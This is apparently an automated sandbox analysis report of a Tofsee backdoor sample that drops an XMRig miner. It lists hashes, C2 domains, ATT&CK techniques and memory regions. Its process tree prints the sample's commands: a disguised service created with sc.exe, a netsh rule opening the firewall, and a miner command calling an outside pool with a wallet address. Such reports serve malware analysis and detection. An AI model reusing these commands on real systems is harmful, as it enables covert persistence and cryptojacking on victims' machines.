Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-05-2023 01:57

General

  • Target

    8cc3efde2ca85f0d6fcb6c96beb65869fdf024b3f948c1de79194e7988446a48.exe

  • Size

    322KB

  • MD5

    c5b9c27223bd12c6e6a0c46e5b411e27

  • SHA1

    68a98a64db6df5bd1feb25288220d186da8fd718

  • SHA256

    8cc3efde2ca85f0d6fcb6c96beb65869fdf024b3f948c1de79194e7988446a48

  • SHA512

    a3d3cdb3b4b1ba88000fc458a4def99973d4a0794b9e85bd0f156643c925f3baaebe9f3a900f8b260568af484671c6c0d541e7403a6d7075a1783088ba630299

  • SSDEEP

    3072:1KPtaVfzJ+xzpxIUgpnvKxvGbqqV7gPCs5lQYFwGfABn/9vOsJp7t:QetWkUIy4bVyCs5ZQ/OI

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8cc3efde2ca85f0d6fcb6c96beb65869fdf024b3f948c1de79194e7988446a48.exe
    "C:\Users\Admin\AppData\Local\Temp\8cc3efde2ca85f0d6fcb6c96beb65869fdf024b3f948c1de79194e7988446a48.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ociqqmmk\
      2⤵
        PID:3428
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kwinkqpd.exe" C:\Windows\SysWOW64\ociqqmmk\
        2⤵
          PID:4040
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ociqqmmk binPath= "C:\Windows\SysWOW64\ociqqmmk\kwinkqpd.exe /d\"C:\Users\Admin\AppData\Local\Temp\8cc3efde2ca85f0d6fcb6c96beb65869fdf024b3f948c1de79194e7988446a48.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3364
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ociqqmmk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2792
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ociqqmmk
          2⤵
          • Launches sc.exe
          PID:320
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4352
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 1192
          2⤵
          • Program crash
          PID:332
      • C:\Windows\SysWOW64\ociqqmmk\kwinkqpd.exe
        C:\Windows\SysWOW64\ociqqmmk\kwinkqpd.exe /d"C:\Users\Admin\AppData\Local\Temp\8cc3efde2ca85f0d6fcb6c96beb65869fdf024b3f948c1de79194e7988446a48.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3948
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4396
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3660
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3948 -s 532
          2⤵
          • Program crash
          PID:4160
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2372 -ip 2372
        1⤵
          PID:4300
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3948 -ip 3948
          1⤵
            PID:4008

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\kwinkqpd.exe
            Filesize

            13.4MB

            MD5

            89cc6e68f9d0ecd2ad542a07707d7121

            SHA1

            9e39ce406a794d031f9f7bf0e989410c1d6caa24

            SHA256

            dac0cea564f8e2485ddac73bc2dc1211de84a3a7dbbbed134efa155f002d1234

            SHA512

            1f9237ec1edfab0aaa1ea71c5b9b5e5173923ad052e4f1dfbf3d6290c62d1502c30912fbb94eafb6fa408e376cd31b605ca32ad3d4e910712e9e71d5bc68a465

          • C:\Windows\SysWOW64\ociqqmmk\kwinkqpd.exe
            Filesize

            13.4MB

            MD5

            89cc6e68f9d0ecd2ad542a07707d7121

            SHA1

            9e39ce406a794d031f9f7bf0e989410c1d6caa24

            SHA256

            dac0cea564f8e2485ddac73bc2dc1211de84a3a7dbbbed134efa155f002d1234

            SHA512

            1f9237ec1edfab0aaa1ea71c5b9b5e5173923ad052e4f1dfbf3d6290c62d1502c30912fbb94eafb6fa408e376cd31b605ca32ad3d4e910712e9e71d5bc68a465

          • memory/2372-135-0x0000000000820000-0x0000000000833000-memory.dmp
            Filesize

            76KB

          • memory/2372-138-0x0000000000400000-0x00000000006CE000-memory.dmp
            Filesize

            2.8MB

          • memory/3660-198-0x0000000000E80000-0x0000000000F71000-memory.dmp
            Filesize

            964KB

          • memory/3660-194-0x0000000000E80000-0x0000000000F71000-memory.dmp
            Filesize

            964KB

          • memory/3660-193-0x0000000000E80000-0x0000000000F71000-memory.dmp
            Filesize

            964KB

          • memory/3660-199-0x0000000000E80000-0x0000000000F71000-memory.dmp
            Filesize

            964KB

          • memory/3660-197-0x0000000000E80000-0x0000000000F71000-memory.dmp
            Filesize

            964KB

          • memory/3660-196-0x0000000000E80000-0x0000000000F71000-memory.dmp
            Filesize

            964KB

          • memory/3660-195-0x0000000000E80000-0x0000000000F71000-memory.dmp
            Filesize

            964KB

          • memory/3660-188-0x0000000000E80000-0x0000000000F71000-memory.dmp
            Filesize

            964KB

          • memory/3948-144-0x0000000000400000-0x00000000006CE000-memory.dmp
            Filesize

            2.8MB

          • memory/4396-167-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-172-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-160-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-161-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-163-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-162-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-164-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-165-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-166-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-156-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-168-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-169-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-170-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-171-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-173-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-159-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-174-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-175-0x0000000001790000-0x00000000017A0000-memory.dmp
            Filesize

            64KB

          • memory/4396-176-0x00000000017E0000-0x00000000017E5000-memory.dmp
            Filesize

            20KB

          • memory/4396-179-0x00000000017E0000-0x00000000017E5000-memory.dmp
            Filesize

            20KB

          • memory/4396-180-0x0000000007000000-0x000000000740B000-memory.dmp
            Filesize

            4.0MB

          • memory/4396-183-0x0000000007000000-0x000000000740B000-memory.dmp
            Filesize

            4.0MB

          • memory/4396-184-0x00000000017F0000-0x00000000017F7000-memory.dmp
            Filesize

            28KB

          • memory/4396-153-0x0000000000610000-0x0000000000616000-memory.dmp
            Filesize

            24KB

          • memory/4396-152-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/4396-149-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/4396-148-0x0000000000400000-0x0000000000415000-memory.dmp
            Filesize

            84KB

          • memory/4396-146-0x0000000000400000-0x0000000000415000-memory.dmp
            Filesize

            84KB

          • memory/4396-145-0x0000000000400000-0x0000000000415000-memory.dmp
            Filesize

            84KB

          • memory/4396-143-0x0000000000400000-0x0000000000415000-memory.dmp
            Filesize

            84KB

          • memory/4396-140-0x0000000000400000-0x0000000000415000-memory.dmp
            Filesize

            84KB